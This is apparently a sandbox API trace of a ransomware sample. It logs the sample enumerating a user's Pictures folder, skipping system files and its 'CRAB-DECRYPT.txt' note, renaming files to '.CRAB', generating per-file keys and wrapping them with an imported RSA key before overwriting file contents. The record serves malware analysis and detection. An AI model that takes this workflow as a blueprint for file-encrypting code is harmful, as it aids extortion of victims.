	[0133.364] lstrlenW (lpString=".png") returned 4
	[0133.364] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.364] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0133.364] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png") returned 58
	[0133.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png") returned 58
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="desktop.ini") returned 1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="autorun.inf") returned 1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="ntuser.dat") returned -1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="iconcache.db") returned 1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="bootsect.bak") returned 1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="boot.ini") returned 1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="ntuser.dat.log") returned -1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="thumbs.db") returned -1
	[0133.365] lstrcmpiW (lpString1="k1sBKHyXQbc.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.365] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.365] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB") returned 63
	[0133.365] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\k1sbkhyxqbc.png")) returned 0x20
	[0133.366] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png", dwFileAttributes=0x20) returned 1
	[0133.366] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\k1sbkhyxqbc.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\k1sbkhyxqbc.png.crab")) returned 1
	[0133.367] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.367] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB"
	[0133.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB.CRAB"
	[0133.367] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e6b0) returned 1
	[0133.371] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.371] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.371] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.371] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0133.371] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.372] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0133.373] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.373] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.374] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.374] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.374] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.374] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.374] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.374] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.374] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.376] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f150) returned 1
	[0133.376] CryptGetKeyParam (in: hKey=0x320f150, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.376] CryptEncrypt (in: hKey=0x320f150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.376] GetLastError () returned 0x0
	[0133.376] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.376] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0133.377] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f510) returned 1
	[0133.377] CryptGetKeyParam (in: hKey=0x320f510, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.377] CryptEncrypt (in: hKey=0x320f510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.378] GetLastError () returned 0x0
	[0133.378] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0133.378] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\k1sBKHyXQbc.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\k1sbkhyxqbc.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.378] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.379] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.379] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xc9c5, lpOverlapped=0x0) returned 1
	[0133.385] VirtualAlloc (lpAddress=0x0, dwSize=0xc9d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.386] VirtualAlloc (lpAddress=0x0, dwSize=0xc9d0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.387] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.387] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff363b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.387] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xc9d0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xc9d0, lpOverlapped=0x0) returned 1
	[0133.388] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.388] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.392] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.392] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.392] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.392] CloseHandle (hObject=0x3ec) returned 1
	[0133.392] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.392] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.392] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.393] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.393] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.393] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.393] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.393] lstrcmpW (lpString1="kskq9YQ.gif", lpString2=".") returned 1
	[0133.393] lstrcmpW (lpString1="kskq9YQ.gif", lpString2="..") returned 1
	[0133.394] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="kskq9YQ.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif"
	[0133.394] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.394] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif") returned 54
	[0133.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif") returned 54
	[0133.394] lstrlenW (lpString=".gif") returned 4
	[0133.394] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.394] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0133.394] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif") returned 54
	[0133.394] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif") returned 54
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="desktop.ini") returned 1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="autorun.inf") returned 1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="ntuser.dat") returned -1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="iconcache.db") returned 1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="bootsect.bak") returned 1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="boot.ini") returned 1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="ntuser.dat.log") returned -1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="thumbs.db") returned -1
	[0133.395] lstrcmpiW (lpString1="kskq9YQ.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.395] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.395] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB") returned 59
	[0133.395] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\kskq9yq.gif")) returned 0x20
	[0133.395] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif", dwFileAttributes=0x20) returned 1
	[0133.396] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\kskq9yq.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\kskq9yq.gif.crab")) returned 1
	[0133.397] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.397] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB"
	[0133.397] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB.CRAB"
	[0133.397] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e9e0) returned 1
	[0133.399] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.400] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.400] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0133.400] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.400] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.403] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0133.405] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.405] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.405] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.405] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0133.405] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.405] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.406] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.406] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.406] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.407] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f110) returned 1
	[0133.408] CryptGetKeyParam (in: hKey=0x320f110, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.408] CryptEncrypt (in: hKey=0x320f110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0133.408] GetLastError () returned 0x0
	[0133.408] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.408] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0133.409] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f190) returned 1
	[0133.409] CryptGetKeyParam (in: hKey=0x320f190, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0133.409] CryptEncrypt (in: hKey=0x320f190, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0133.410] GetLastError () returned 0x0
	[0133.410] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.410] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\kskq9YQ.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\kskq9yq.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0133.410] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.410] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0133.411] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x6e84, lpOverlapped=0x0) returned 1
	[0133.421] VirtualAlloc (lpAddress=0x0, dwSize=0x6e90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.421] VirtualAlloc (lpAddress=0x0, dwSize=0x6e90, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0133.422] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.423] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff917c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.423] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6e90, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x6e90, lpOverlapped=0x0) returned 1
	[0133.423] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.423] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0133.428] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0133.428] CloseHandle (hObject=0x3ec) returned 1
	[0133.428] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.429] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.429] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.429] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.429] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.430] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.430] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.430] lstrcmpW (lpString1="pi3nZPM8A2xi46.bmp", lpString2=".") returned 1
	[0133.430] lstrcmpW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="..") returned 1
	[0133.430] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\", lpString2="pi3nZPM8A2xi46.bmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp"
	[0133.430] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.430] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp") returned 61
	[0133.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp") returned 61
	[0133.431] lstrlenW (lpString=".bmp") returned 4
	[0133.431] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.431] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".bmp ") returned 5
	[0133.431] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp") returned 61
	[0133.431] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp") returned 61
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="desktop.ini") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="autorun.inf") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="ntuser.dat") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="iconcache.db") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="bootsect.bak") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="boot.ini") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="ntuser.dat.log") returned 1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="thumbs.db") returned -1
	[0133.432] lstrcmpiW (lpString1="pi3nZPM8A2xi46.bmp", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.432] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.432] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB") returned 66
	[0133.432] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\pi3nzpm8a2xi46.bmp")) returned 0x20
	[0133.432] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp", dwFileAttributes=0x20) returned 1
	[0133.433] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\pi3nzpm8a2xi46.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\d3n6chyyjgr\\pi3nzpm8a2xi46.bmp.crab")) returned 1
	[0133.434] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.434] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\D3N6CHyyJgR\\pi3nZPM8A2xi46.bmp.CRAB"
